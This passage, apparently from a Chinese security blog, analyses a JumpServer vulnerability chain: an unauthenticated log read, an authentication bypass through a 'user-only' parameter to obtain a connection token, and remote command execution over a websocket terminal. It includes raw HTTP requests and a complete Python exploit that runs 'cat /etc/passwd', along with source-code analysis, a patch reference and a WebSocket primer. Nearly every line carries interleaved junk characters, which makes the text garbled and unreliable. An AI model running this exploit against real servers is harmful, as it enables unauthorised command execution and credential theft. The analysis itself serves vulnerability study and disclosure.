0 F! D3 U9 Z- o) i: S* ^1 y& p) vgunicorn是常用的WSGI容器之一,用来处理Web框架和Web服务器之间的通信,gunicorn.log是API调用历史记录比较全的日志文件。
- [, A3 F# S8 K" v3 w6 u5 t: x# T: [( r/ k: q9 o
利用/ws/ops/tasks/log/接口查看/opt/jumpserver/logs/gunicorn.log文件内容,由于系统会自动添加.log后缀,故无须添加文件后缀,目标路径为 "/opt/jumpserver/logs/gunicorn" 即可。, b) L, J9 R* f7 I" h8 W

0 ?4 ~7 Q# d5 S4 d6 `" k9 Gws://192.168.18.182:8080/ws/ops/tasks/log/
7 ~, j5 d: g2 X( W  l. b4 v  H{"task":"/opt/jumpserver/logs/gunicorn"}/ l! \2 v3 ]8 A
图片
/ L/ l4 R7 l' C: c' k5 i9 \4 Z- I( R  Z3 |
在日志中寻找有用数据,其中/api/v1/perms/asset-permissions/user/validate接口的请求记录值得注意,这个API是用来验证用户的资产控制权限的。由于web终端连接资产时会对用户所属资产权限进行校验,调用了这个接口,故会留下日志记录。其中asset_id、system_user_id、user_id参数值可以被利用。
1 D# u( L1 x; l+ w) \
3 I& B5 c0 L7 d* s5 y/ lasset_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f4 o$ n1 r7 ]8 J" n+ [* Z
system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
, ~4 Z, q& ?" ~- Guser_id=f26371c9-18c3-4c4e-979f-95d34ffdb911. `4 l# o. Y) P
认证绕过+获取token# ?7 j0 c9 P/ a/ v, r8 a# |7 ]
/api/v1/authentication/connection-token/接口和/api/v1/users/connection-token/接口均可通过user-only参数绕过权限认证。# M0 J2 E# k7 J* f* @/ n% }

# A2 H; K8 p/ d: K/ F/ s* C两接口对数据的处理逻辑一致,其中post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,收到合法请求会将这个token返回。
# f9 j2 O+ B. s3 ?  J( L2 ?; b+ F1 t" c
图片
! y. ~2 S* {/ H2 H. e3 R; W! o( e
上文从日志中获取到的三个参数值可以用在这里,分别赋值给post请求要求的data中的"user"、"asset"、"system_user"参数,同时在URL中添加user-only参数来绕过认证,最终获得一个20s有效期的token。. v9 b& a2 ]& k; O! {* C3 n! f
! ?7 o1 h, T$ k; i/ D# a
POST /api/v1/authentication/connection-token/?user-only=Veraxy HTTP/1.1: k; p0 ~. y9 I+ x
Host: 192.168.18.182:8080% U  R4 }* b6 O
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.00 }+ A% R0 _6 \+ |1 Q. r- B: H
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.88 D' {. S. q: J4 ]4 D
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2) c8 l% y* _$ V  b
Accept-Encoding: gzip, deflate
1 y1 f. S' u2 }' m4 WConnection: close
& O3 l* E7 r+ h$ z2 uCookie: csrftoken=GsRQYej2Fr3uk3xU9OPfZREl8Wn7xCXPqLSWQGIILIk7uz7izdqojUgYQ5UhG04j; jms_current_role=146; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D/ Q5 ]4 |% i9 D6 y8 }5 `! Y& K
Upgrade-Insecure-Requests: 13 \" K  _* X6 L8 G7 x
Content-Type: application/x-www-form-urlencoded
* v. w% C% ^) f$ B0 f$ W( N7 X# CContent-Length: 1336 g% g  ^; o, X6 H9 X
user=f26371c9-18c3-4c4e-979f-95d34ffdb911&asset=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&system_user=a893cb8f-26f7-41a8-a983-1de24e7c3d73
8 p( L/ |- G/ j6 O+ ^2 t图片
- B* h8 @0 J8 x+ q( M" H
; D8 l' m; q: M& }上图请求接口替换成/api/v1/users/connection-token/达到的目的一样9 y4 j* n. l$ B, l# p0 L1 N

; J, m7 ?3 p: e图片' U2 p7 r+ Z+ Y/ A

/ F. a0 A7 c* Y5 \; g远程命令执行& v  M- c7 S: a" E  \
系统/koko/ws/token/接口要求"target_id"参数,携带合法"target_id"参数即可利用该接口建立TTY通信。9 Z, c* O9 F7 w* L( b5 e' _
% w7 M) g2 i1 E7 ~) b) u7 D
图片" B1 r* f" Z+ k; |8 I( f* V

0 u0 F  ^9 U* V. \* _上文通过/api/v1/authentication/connection-token/接口获得的20s有效期的token可作为/koko/ws/token/接口的有效"target_id"参数值,从而建立websocket会话。  g- G% C- X- _
  K3 m9 u8 t6 I/ ~
ws://192.168.18.182:8080/koko/ws/token/?target_id=0a14ec3d-312f-44e0-8224-da1a4151f32e( Y* V* \  I' y$ z/ |: p
图片
% a# b3 D0 V* ~! t' g
3 Q$ }" n/ x& j; }3 j借助脚本进行websocket通信
5 I3 E4 x: j; W1 }" @* |
" _% G- z- U6 g% e4 y# g; ?import asyncio
8 ~% Z5 X8 [+ f/ fimport websockets" L3 L$ q8 O8 M+ d
import requests
' _: S4 Z6 U3 T3 aimport json: J' [6 i1 e& t$ W7 p
url = "/api/v1/authentication/connection-token/?user-only=None"7 o# T, w+ C; D
# 向服务器端发送认证后的消息& E+ x7 X" f9 Q  t- a7 Q
async def send_msg(websocket,_text):5 \2 G% l. d' u% J* v
    if _text == "exit":( U3 ?( o9 q" }; b7 A
        print(f'you have enter "exit", goodbye')
2 D# E7 v4 J& }  n% L: h8 `        await websocket.close(reason="user exit")
1 i, T% C0 L0 k7 u6 ?$ v& D        return False, H) l4 v- a$ k! Z6 c
    await websocket.send(_text)
, [1 n" L( V4 `/ c1 _" T$ u    recv_text = await websocket.recv()
) }' R3 M8 V. J( ^3 V2 g7 C    print(f"{recv_text}")
, F. \; X# U3 x- ?# 客户端主逻辑' G1 O0 S1 X. S  C  |" x
async def main_logic(cmd):5 w7 |6 ?7 u. w
    print("###start ws")
9 o9 l: I$ j7 H2 A$ y1 _9 E+ v( L% |    async with websockets.connect(target) as websocket:
% ]. e% {! k, `4 j        recv_text = await websocket.recv()4 I' Z# H1 K! Y9 X; q
        print(f"{recv_text}")/ n! V: F" `- |5 g0 k: U6 k" K% r
        resws=json.loads(recv_text): D# W, V- I4 v- t; V2 H: }
        id = resws['id']
" D( u7 Q+ j9 e* v9 j        print("get ws id:"+id)& E% E. O3 }9 g7 v/ n1 ?
        print("#######1########")) `2 {2 w# L2 C
        print("init ws")% U& G  K; a4 y! I) {
        print("#######2########")
  w" U; X4 X" ^) t! E        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":234,\"rows\":13 }"})
. S8 ]. A" q' f+ Q  f7 [4 Y        await send_msg(websocket,inittext)4 \# S7 T9 e1 C% f  D; j2 b; a% n" I2 @
        print("########3#######")
2 }* [) b2 ~1 |' T        print("exec cmd: ls")
6 w8 t/ X+ }9 j& o2 s! ?8 E- M1 y        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
3 o# M0 e7 X8 f8 k# z9 x, C        print(cmdtext)
: V6 V& s$ y" r7 ?; s2 D+ Y" _        await send_msg(websocket, cmdtext)- R# l, x( e# K. Q1 C( N: b# ^* {
        for i in range(20):: F( w, r! E7 {+ S6 y( c
            recv_text = await websocket.recv()( I' G1 N+ @- R) c1 o
            print(f"{recv_text}")
/ K: z$ {, r0 {3 K' Z! R" X        print('###finish')3 Z; }0 `& ~/ X* {& q% b( P. K/ P( s
if __name__ == '__main__':
  S9 q/ O, ~# S* g7 r8 ]    host = "http://192.168.18.182:8080"' [+ _/ _) t" W% `3 u, l
    cmd="cat /etc/passwd"7 ]! T2 ^" d& q8 [9 O2 Y( f" Y- @
    if host[-1]=='/':
- q, j  w  p: m" n( J        host=host[:-1]6 r" ?! c3 w9 r/ L
    print(host)- b) T; ~5 h( F& t' l$ G
    data = {"user": "f26371c9-18c3-4c4e-979f-95d34ffdb911", "asset": "fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f",( l1 M0 Y# I5 B3 ~* C8 l/ n
            "system_user": "a893cb8f-26f7-41a8-a983-1de24e7c3d73"}
( M. c" ^: i0 D; q+ j7 E: v    print("##################")
: |9 x2 k7 Q( D) V/ I& O3 u: E    print("get token url:%s" % (host + url,))
; b* o7 [9 D5 }. s' ]* y    print("##################")
4 J" ^0 J1 J& V. w# Q/ q    res = requests.post(host + url, json=data)6 }: m( t/ ~& p, \  |
    token = res.json()["token"]
0 k9 w5 T" J" x    print("token:%s", (token,))
7 u1 e$ H* I+ R  Z    print("##################")
' ^7 ^( \+ x* ^* A4 v, W    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token+ x. `8 Z9 ?4 B
    print("target ws:%s" % (target,))
9 k' z3 m3 {5 D. j3 ^$ W    asyncio.get_event_loop().run_until_complete(main_logic(cmd)
6 r7 s. P4 I0 }' J2 c成功执行 "cat /etc/passwd" 命令
" J4 ?3 o2 `4 [( I0 u
. V5 S. @# a4 |图片
: C1 t$ }# d: _8 B+ [$ X( m+ r2 b" F, e0 G1 K
利用条件/ f, T; Z) ^% p( N
1.web终端登录方式为免密自动连接。5 i5 m* L: Y: g

3 a* Q& c' A2 c" ]% @* g! }4 @若配置为需要输入密码的手动登录,只有在攻击者已知目标资产登录密码(不现实),或此时系统用户与目标资产的会话连接未中断,从而让攻击者有机会复用SSH会话,漏洞利用成功,显然这种配置下漏洞利用大多失败。* N, ]6 K2 q/ f( c- E. E7 B8 E
, n: h& W% _4 u
图片5 M; W" k& o" B2 K' }+ V& T

) `+ j9 L2 R- y: |当系统用户退出登录,由于没有可复用会话了,系统要求重新输入密码,否则无法建立连接。漏洞利用失败。+ m& m7 j" y3 n

! U# O- b* S2 i图片
; K% Z  S! v7 U  l9 m% r) ], x% i. ?+ g9 g$ {' m! S$ T
只有在系统用户登录模式配置为“自动登录”,即系统用户使用web终端操作时资产无须输入密码- W6 O0 B$ g: a( V  o9 @; L
8 U  W3 T+ Y. T* i" f
,可直接建立连接(某些情况下需要“自动推送”系统用户至资产才能实现免密连接),这种配置下,该漏洞才可被攻击者稳定利用。
( Z4 Y* {; q' c
' E( B3 t" ~' P9 T1 Q# q8 n开启自动登录和自动推送。
/ l' c# ^( n2 y& s& F: g' [0 I1 h; l9 F6 w( a
如果选择了自动推送, Jumpserver 会使用 Ansible 自动推送系统用户到资产中。
2 f! B" u6 C0 o0 A8 d# \
  l8 [* @  {5 l图片
- @1 ~, f" c' a1 u* s$ F+ o2 |: v- ~2 ?% H1 u0 t
此时连接web终端不需要输入密码了,直接利用系统用户预存的密码建立连接。6 }! y$ ^9 z  {* r6 _, {
, M, D, h& J$ h  m
图片% v" j/ C+ G+ L: J4 P' F
* n" t3 H1 ]: w2 S2 ?
这时我中断会话,再次测试,成功执行命令,此时不是复用SSH连接,而是直接连接,建立会话,从而执行命令。
( [; D1 W' s% I: D2 k# D0 L% |/ _! @
图片
6 x! v6 L4 [- A6 W$ C1 y2 \- s) S% h8 w% T
jumpserver通常的配置都是自动登录的,这一条件容易满足。
: E6 \: _' u. Y) c. J% F. H
; D5 {, B# F7 p, _9 ^2.系统用户在web终端与目标资产建立过连接。
: _# M5 t) u& j" ?; A: b6 k' r4 y" r/ {
只有系统用户在web终端访问过目标资产,才能在日志中留下访问记录,我们与目标建立连接的必要参数均在日志中获取。5 A# [/ e) K( T- I  B' V

6 X6 z1 A- I, d* v% p3.系统日志路径已知
: V! n$ `" ]1 E: R5 g  X) G& G( S
+ F  `! P  ^8 W/ B! N* ?/ h系统日志路径默认为/opt/jumpserver/logs,一些项目刻意修改日志路径会使得漏洞难以利用。
; F8 N6 {- n/ F5 p0 c2 K1 s  @
! f' N9 u0 T. u6 M9 D攻击流程回顾
/ C4 z3 M4 M  Y) B7 t1.未授权的情况下通过 /ws/ops/tasks/log/ 接口建立websocket连接,读取日志文件0 s: l  J& f4 z; P7 A/ H$ [3 M

7 J6 x- b# E6 C1 _5 S7 S6 E2.在日志文件中获取到用户、资产字段值、系统用户(user_id、asset_id、system_user_id)
7 ?4 r. b1 B$ u5 u7 j( {# C! y) `/ p6 ^) x1 A
3.携带这三个字段对 /api/v1/authentication/connection-token/ 或/api/v1/users/connection-token/接口发起POST请求(同时借助user-only参数绕过认证),得到一个20S有效期的token
2 }$ h2 b2 H# c8 T0 u
. P1 ?! e# l) m. f5 m) G4.通过该token与/koko/ws/token/接口建立websocket连接,模拟Web终端通信,执行命令。$ P/ C$ ]! {# z; Y
8 a9 _- J6 u9 `$ t, T
图片, {, L! q% _( D9 b' E

, A  ]# w) T! i$ j* _6 J0 D0x03漏洞分析
. D, }+ M! F" H/ w  T日志文件读取
& y) M4 A0 u# a7 I. a. _# T读取日志文件的接口为ws/ops/tasks/log/
5 {# t  w3 J. }) p; j: P2 j: F1 {' p
图片
" f: W/ ?1 ^; M" B# f( f% z4 y6 \1 w, N. N
分析apps/ops/ws.py#CeleryLogWebsocket,connect()方法定义该接口直接连接,无认证+ W0 l; k3 D1 j$ i$ F, l, b5 }
0 X; R8 J+ R* s2 ]  }9 d
图片; @: U* N/ \! D8 n3 b* n

0 j9 ?1 J1 {8 G: ^receive()方法要求请求data要携带task参数,随后会将“task”值传给handle_task()( `- P! G0 H- t4 f% Q3 o! `

+ j& Y( Y5 \/ L1 l: Q图片
  x* I  J! @8 @. D  j: g: j8 V- w9 M! {- v: j! D5 Z- b
self.handle_task(task_id)) u# J9 C, n9 k4 s+ I8 k/ O

; K, N- I, u8 c, g8 ?4 D* i-->self.read_log_file(self,task_id)+ j5 t$ }# D! S& r* _7 P

+ l+ O, ]6 B. g9 H2 }0 {! S( x-->self.wait_util_log_path_exist(task_id)& f$ L- r/ R4 p( Y* P1 y* h- ~

* |6 ]1 C# u% |8 ]  R" `--> get_celery_task_log_path(task_id),获取目标文件路径的方法,系统自动为路径末尾添加.log后缀,也就是只能读取到日志文件。
# i/ D! u" O5 b9 Z
1 |) i) Q( z" r2 U6 W# @这里也是“task”参数值中的文件路径无须携带.log后缀的原因。
% ^" |8 Z$ }9 t4 t, p+ q9 \) M5 Y' K' A' y
图片
  G8 H8 N8 V3 m$ t/ Z) c3 }+ [3 n$ B" t
当系统连接资产时,会调用 validatePermission() 方法检查用户是否有权限连接,通过三个参数进行校验,分别为用户ID、资产ID、系统用户ID,三个参数值长期有效,可被进一步利用。% Z$ y3 x2 M2 x
# e" [. O3 w8 ?) I2 Y4 u
图片
1 t7 v7 e6 Z$ o! f5 \% M4 [
, v+ s2 U# C9 ]1 o' }' Y图片' {% n. N, f. o0 o. c) t
4 h8 c- K2 f% }. n
对应的接口是/api/v1/perms/asset-permissions/user/validate,请求记录均可在日志文件中找到
, F* E9 g6 @: v; M: }* T6 u+ \3 I
图片
$ W- i0 {5 F* c" P( {
4 A2 e8 o' g# d7 _& I0 ]5 H& V绕过身份验证获取token: K) j7 d* {3 {2 |% _% V+ C
apps/authentication/api/auth.py,请求url中存在'user-only'参数且有值,则其权限为AllowAny,即允许访问。
. m% p  W3 E# y2 J
- x8 P2 y5 ^& [. b( @( G% Y图片
1 z9 `# Q0 s6 E) O9 w. y8 J
8 f) J/ U' C/ @/ L( h$ ~分析apps/authentication/api/auth.py#UserConnectionTokenApi类,可处理get、post请求。: M7 X$ f0 ]. a; X. s
" A) U  y1 ^, x' @2 T
get请求处理函数取URL中"token"和"user-only"参数,合法请求会根据token返回user信息。
' n% e; \$ b# a( s# u, T8 Y# x& F+ F4 P4 D1 z, j+ {' L
图片  o) N% K/ @3 h, m, I7 \

. U! t' ]$ `3 E% Z6 J' apost请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,合法请求会将这个token返回。' C$ l1 m6 m7 k+ }- x5 u) q. }$ k

; N4 t' j1 l/ O- s( K: Y! a: B图片
2 `& Y9 H. z* C  k4 s  g! a, [1 {/ F$ z6 ~" K/ l
apps/authentication/api/auth.py#UserConnectionTokenApi类有哪些地方使用,共两处
- X' o& q! d7 q1 e% H+ U: }
$ g" K+ ?! d, u4 j6 g. O0 i图片2 p, _$ f, a& p0 q0 d6 R5 c

. Y1 N- ~2 v. ?5 x& ~* h, |刚好是官方公布的接口,这两个接口数据处理逻辑一致,所以利用的时候两者均可得到token。
1 V5 Z$ ?/ }) Z) G7 V+ y6 G
& A; l) L, i1 d% c( `2 }" J/api/v1/authentication/connection-token/
; c5 l6 x' m# `+ E6 C  [/api/v1/users/connection-token/; \. W- j8 P$ V* R6 Z. [
Web Terminal 前端项目 luna/src/app/services/http.ts 中有对/api/v1/users/connection-token/接口的Get请求代码,这里携带不为空的user-only参数,是为了获取token对应的用户身份所有信息而不是单个字段。 https://github.com/jumpserver/lu ... pp/services/http.ts/ y: f4 I' M% X. L$ U) ^0 H' _
& [$ c+ }! `# L1 ^
图片1 G+ r2 {6 X7 G- F* C# G

# V& ?, Q) R- F3 `' @websocket建立TTY终端会话
: v3 b; @9 l6 ^$ o这个漏洞是通过websocket通信建立TTY终端,从而执行命令。% p3 T. z; X" w$ A

( d1 w2 b9 ~) }5 u. h% GJumpServer中KoKo项目提供 Web Terminal 服务,分析系统中可建立TTY会话的几种方式。" z6 ~) F/ r! d- P8 U6 B

  f6 O$ G- R( }1 W. u- f  w4 O" k+ lhttps://github.com/jumpserver/koko
- T- u% @, v$ }* y- B) w% j
2 Y5 L+ d$ b$ h% @. G建立TTY会话主要通过koko/pkg/httpd/webserver.go中runTTY() 实现+ B: r0 P2 ?1 L* z( p3 X% L1 K

$ g9 D! A6 E  J0 F0 {" I图片; ^* N: w8 p7 r4 i

6 p( y1 n  b8 t) X& O8 w3 [- |只有两个接口可以进入runTTY()方法,分别是processTerminalWebsocket和processTokenWebsocket方法7 V! h. F) D( t* T; V

- u7 l4 }7 T5 f  F- N  |& |+ c图片8 s2 I  U$ ]5 w" \
' N& g0 W' @$ r% f7 U5 n( |; Z
对应API为/koko/ws/terminal/ 和 /koko/ws/token/ ,接口handler位于koko/pkg/httpd/webserver.go#websocketHandlers()
3 o6 h. [7 Z3 S+ v4 v, }0 b, I! k, s! A9 u! o" B& P
图片
: C* G" n7 d! ]$ T- K% s2 z# k& K
( O$ p7 C5 t  y. X8 f4 k/koko/ws/terminal/
; I. L# B% R( D4 w) P1 T系统中通过“会话管理”下“web终端”功能连接资产时,使用的是 /koko/ws/terminal/ 接口
9 \" T/ i  y9 j& Q
* r# ^6 _- ?' _  b图片! [& {! F/ [# V1 {0 u- ~
% z$ t0 w% ]7 t) ?+ s! _* E7 T) x) Y
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73% J) m7 X) \- J/ c" z0 b) K' ]/ \
进行websocket通信
$ G" r  p' V# r3 H
- i; `3 E1 c* C2 J9 `图片
* ~. _4 d$ d$ n) M' x- k8 C; P/ b6 ~
3 z& X; b& S4 `, T4 E4 F$ a# ^9 g, dprocessTerminalWebsocket函数处理 /koko/ws/terminal/ 接口,要通过这个接口成功登录控制台需要一些必备参数,包括type、target_id、system_user_id,其中target_id为目标资产ID,system_user_id表示系统用户id。
8 O$ N  R7 \' l: n; j& ~3 g4 \: C6 M3 r- [8 f
注意:/koko/ws/terminal/ 接口的target_id与/koko/ws/token/ 接口的target_id虽然参数名一样,但却是两个完全不同的东西。1 {! m1 V8 V1 M8 c1 d. ~1 R8 B

! P7 V7 P( E8 X4 C2 P% S图片
. [. _) N5 O; a( E# A/ O" I* o3 u3 k" h' Q& d! h
系统对 /koko/ws/terminal/ 接口通过?middleSessionAuth() 进行会话合法校验。
! U5 i$ G% e: f, S/ J
$ @2 g& R6 r4 a( j0 I注意到 /koko/ws/token/ 接口却是无此类限制的。
1 v/ m8 H! k. b  X3 w, b$ F$ ?( _* k! o! |/ k5 V' G- g5 q" {9 v
图片
- a, c7 C5 s% O* s, T+ L" Y' n$ E8 Q) E8 L1 _. x2 P' e7 `; [, K5 z
/koko/ws/token// h8 h% N* J9 |; d/ f8 @/ R( x
/koko/ws/token/ 接口的处理函数位于koko/pkg/httpd/webserver.go#processTokenWebsocket,要求get请求携带“target_id”参数,系统会将该参数传递给 service.GetTokenAsset() 方法,获取token对应的user,从而建立TTY会话。
/ J6 z5 M" I% Y/ D2 ^' d* f( v
* x* X, e( ^# x; n! G1 B图片
) ?+ F: [. O7 x" N
# ^6 f0 Y7 l2 O' Z5 w/ s) L" ^, U发现 GetTokenAsset() 是将“/api/v1/authentication/connection-token/?token=”与token值进行拼接,并发起Get请求,来获取用户身份的。
# H5 T3 @2 o+ o0 \5 G# Z
; Z4 n' ?. M5 j4 \* _4 Q图片
" m9 K4 [3 X8 V5 {/ t! K' S' J3 ?; z: [) t+ ?
图片
0 `( B5 p7 i9 r. N7 I" J
0 ~& N5 R6 O% M  X上文分析过 /api/v1/authentication/connection-token/ 接口,Get请求处理函数中定义,若仅携带有效token,则返回该用户所有信息,若同时携带token和不为None的user-only,则返回用户信息中的'user'字段值。0 B/ _: }8 W6 P- o2 M0 H4 d

4 j' `+ J- _6 m- O7 c图片- C2 r; f1 B. ?) z. y3 ]2 N

9 }2 y- {6 D) Z0 g# t* Q9 l7 \/ D本次通信则是仅携带有效token,从而获取该用户所有身份信息。  ^- P$ n) J# t& u) m( J! K
+ s' C8 C% ^3 Y& D0 K
图片7 Y$ s- F% X# u" \2 Y" Q, _
; u" \8 A. _9 N4 F9 R, `1 s
综上,一个有效的“target_id”即可调用/koko/ws/token/ 接口进行websoket通信,从而建立TTY会话。
5 ?, {6 e4 d4 j! q" {" w1 ]6 g, {5 ~  r. T+ r$ ?( m, d! H! y, U' B$ E3 i
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d
9 x, P' R, {. P- l( L{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"CONNECT","data":""}
7 ]$ p% x- m1 c/ P' R/ {{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"TERMINAL_INIT","data":"{\"cols\":140,\"rows\":6}"}
7 J) Q7 J% D: e" G图片! o0 w. o$ u  h" g( U1 q

) @. `8 l/ o6 @而这个有效的“target_id”则通过上一章节“身份验证绕过”中分析的 /api/v1/authentication/connection-token/ 或 /api/v1/users/connection-token/接口来获得,需要在20s有效期内将token替换为target_id参数值来使用。
& ~2 D( E7 i0 X  t. {/ G1 _: I& U7 P8 o% Z* ^" D' `& {
补丁分析( L, ~0 ?0 {6 W9 i* f
漏洞整体分析下来,最关键的几个点,身份验证绕过以及websocket通信接口无校验,官方发布的新版本对其进行修复。0 G2 r0 R/ F5 S, B
  Y9 M* t# G# ~( [& A  ?4 h# M
https://github.com/jumpserver/ju ... d1ccf19d683ed3af71e& i) g/ o- y- y3 E8 ^& K" D& x$ u

" b( W8 L! W; |+ ~8 z图片' H+ m) [* Q6 D) L9 L& M: h) W

" @0 F! m# ~. c+ V& K1 h- x1 L0x04关于websocket
/ o9 N1 R! t# W9 D/ mWebSocket 协议诞生于 2008 年,在 2011 年成为国际标准,WebSocket 同样是 HTML 5 规范的组成部分之一。
" D1 L# v& E2 q. z
& S' w1 }# w8 CHTTP 协议是半双工协议,也就是说在同一时间点只能处理一个方向的数据传输,通信只能由客户端发起,属于单向传输,一般通过 Cookie 使客户端保持某种状态,以便服务器可以识别客户端。
  G  l. O' V0 x' r$ l2 U
2 x  V! h7 O% ~0 RWebSocket的出现,使得浏览器和服务器之间可以建立无限制的全双工通信。WebSocket 协议是全双工的,客户端会先发起请求建立连接,若服务器接受了此请求,则将建立双向通信,然后服务器和客户端就可以进行信息交互了,直到客户端或服务器发送消息将其关闭为止。
4 ^" g- g& @: U. e9 Q- Z
4 _- A8 G) Z) xWebSocket特点:
* Z9 j$ V+ Z: b: n0 Z2 m- v) y) P
1.默认端口是80和443,并且握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能通过各种 HTTP 代理服务器。0 q" w( |5 q0 @

  d1 H& v0 k9 R2.可以发送文本,也可以发送二进制数据。
6 X- ]& ?3 S/ ?# y6 A7 z
/ e* f% y8 @. p  L3.没有同源限制,客户端可以与任意服务器通信。
  ]/ Y' c5 Z4 }( h! J' B% t* h* ?! l  i
4.协议标识符是ws(如果加密,则为wss)
5 r  M. R- U( j; R8 a) B' t; U% {2 g
WebSocket通信
4 c: o/ k7 K( M" p4 OWebSocket并不是全新的协议,而是利用了HTTP协议来建立连接。
$ K! q' P; j: t+ A; M# @2 u. E7 s* j8 W5 C  q( H/ U& h& v4 t/ N
图片
" k) V1 P& [( C4 l. W
8 o9 U* g7 f/ D$ K" x# y建立连接
3 Q1 n/ i" K3 a4 V' z) |客户端请求报文:
) I: F! s* q; _& u) {- r
( Y5 u( c+ M- C2 c( r" P/ ]( j5 E5 KGET / HTTP/1.1
# `6 X& [& c3 E3 P9 U) a: E; Z$ dUpgrade: websocket2 D' i0 t" |2 t6 \4 Z1 t9 _
Connection: Upgrade4 L( ~3 T3 D' m8 i
Host: example.com$ G; P6 t# z, K
Origin: http://example.com+ V0 S0 J' R0 |, w' Z
Sec-WebSocket-Key: sN9cRrP/n9NdMgdcy2VJFQ==
- E( i; R- g( Q) E/ u& ]  i, ?Sec-WebSocket-Version: 13
3 H# f  G' x' _& M: Y3 l" n- j6 KConnection、Upgrade字段声明需要切换协议为websocket
1 Q. U% {1 f. Z* q6 oSec-WebSocket-Key是由浏览器随机生成的,提供基本的防护,防止恶意或者无意的连接。. E5 x: p  W. {2 }
Sec-WebSocket-Version表示 WebSocket 的版本,如果服务端不支持该版本,需要返回一个Sec-WebSocket-Versionheader,里面包含服务端支持的版本号。3 y4 n( ]2 s* T8 Z& ?
( O3 T* [. Y% b+ R! x
服务端的响应报文:0 B; A8 G  a  T5 s  e

+ V+ x7 {- h) y' ?$ aHTTP/1.1 101 Switching Protocols" ^- t: F2 J" l. P/ A/ |' n
Upgrade: websocket" c- ]( g8 u" o( z5 _9 g
Connection: Upgrade- U* p( c2 u) z) d+ W0 z2 _
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
9 W9 y" x& v& E: ySec-WebSocket-Protocol: chat
# R3 P  Y) ]! C. x. tUpgrade消息头通知客户端确认切换协议来完成这个请求;* V6 R/ g' d' `8 Q0 {4 g1 F
& _7 k& w6 Y1 k9 F9 ~( [
Sec-WebSocket-Accept是经过服务器确认,并且加密过后的Sec-WebSocket-Key;
4 u- I$ T3 b0 v( x* _
( t# r5 F5 g+ m1 _' U3 ^5 JSec-WebSocket-Protocol则是表示最终使用的协议。
2 x' C% ~- _! W1 H# s  w+ b" a( P( v5 _6 q' V
注意:Sec-WebSocket-Key/Sec-WebSocket-Accept的换算,其实并没有实际性的安全保障。7 h) v+ j  x" K9 C1 D

! L5 o! V4 Q+ x进行通信
3 @4 T, N3 d( h5 Y- g服务端接收到客户端发来的Websocket报文需要进行解析。8 n7 _1 \" s, ~

! i3 {; q% v% }5 n# Z& l: D' s6 m数据包格式4 i- Q; D& E; h8 z
8 E0 j* n0 D# V4 @
图片
8 D7 a) h2 Z  \+ N$ S, d' ^% A5 \+ w* `
Mask位表示是否要对数据载荷进行掩码异或操作。
1 H# j  n, R" y/ M8 M8 ]6 o0 D* V5 D/ h6 b: Q' Z
Payload length表示数据载荷的长度。1 q7 j1 ?3 [: J% g0 s1 K' v

. }3 Y7 q6 B" [Masking-key数据掩码,为防止早期版本的协议中存在的代理缓存污染攻击等问题而存在。
# s, H! L4 G! a$ @) b, b4 C- J6 X- c' b, j9 f
Payload Data为载荷数据。
+ Q* Y  |- Y' `/ v) i% f2 Z
, C& `; R9 _2 C4 O! b7 H服务端返回数据时不携带掩码,所以 Mask 位为 0,再按载荷数据的大小写入长度,最后写入载荷数据。
& L$ F3 T. A7 v$ Q+ M% G$ ^: G3 C8 L+ h# A( \6 B0 e! l
心跳
2 c/ i' ^* m+ f$ e8 g5 O: NWebSocket为了保持客户端、服务端的实时双向通信,需要确保客户端、服务端之间的TCP通道没有断开。对于长时间没有数据往来的通道,但仍需要保持连接,可采用心跳来实现。
, M. u! E6 ~5 ~! h
$ J$ }1 F+ H! z/ A0 o+ P发送方->接收方:ping
0 a; }' u3 n8 I; s! ~* R: E& a. J' E1 w: l) I' c
接收方->发送方:pong) G+ ^9 }! ]5 Z) ^
, ~. J( t3 J# s
ping、pong的操作,对应的是WebSocket的两个控制帧,opcode分别是0x9、0xA。
3 A7 [( }0 @) j; `$ E5 J  d/ [" {" o- W7 F; i0 ]
关闭连接, X9 _& M' q2 S2 d: i
关闭连接标志着服务器和客户端之间的通信结束,标记通信结束后,服务器和客户端之间无法进一步传输消息。, v9 L- l! B; y$ r4 r0 C! i, l

, O  ?2 O5 s5 C4 H7 t. GWeb Terminal实现7 y) j8 s: ?9 k# f* {  H
通常所说的Terminal是指的终端模拟器,一般情况下终端模拟器是不会直接与shell通讯的,而是通过pty(Pseudoterminal,伪终端)来实现,pty 是一对 master-slave 设备。! z4 f6 Z' R, e- K3 M
  W! u5 A6 J+ _- t% R& L
终端模拟器通过文件读写流与 pyt master通讯,pty master再将字符输入传送给pty slave,pty slave进一步传递给bash执行。% r9 z+ T/ P# p& }8 S% S
. {8 m7 `: k0 D- {" U+ Q
Web Terminal则是实现在浏览器展示的终端模拟器,前后端建立WebSocket连接,保证浏览器和后端实时通信。* P# k2 D0 o/ {& s9 m6 J5 n6 E5 u
6 e: Y% ^; S& ~3 X+ N
实现思路:" b& B$ y0 x' f9 l
1 B( R4 T/ o% E6 l% O! F
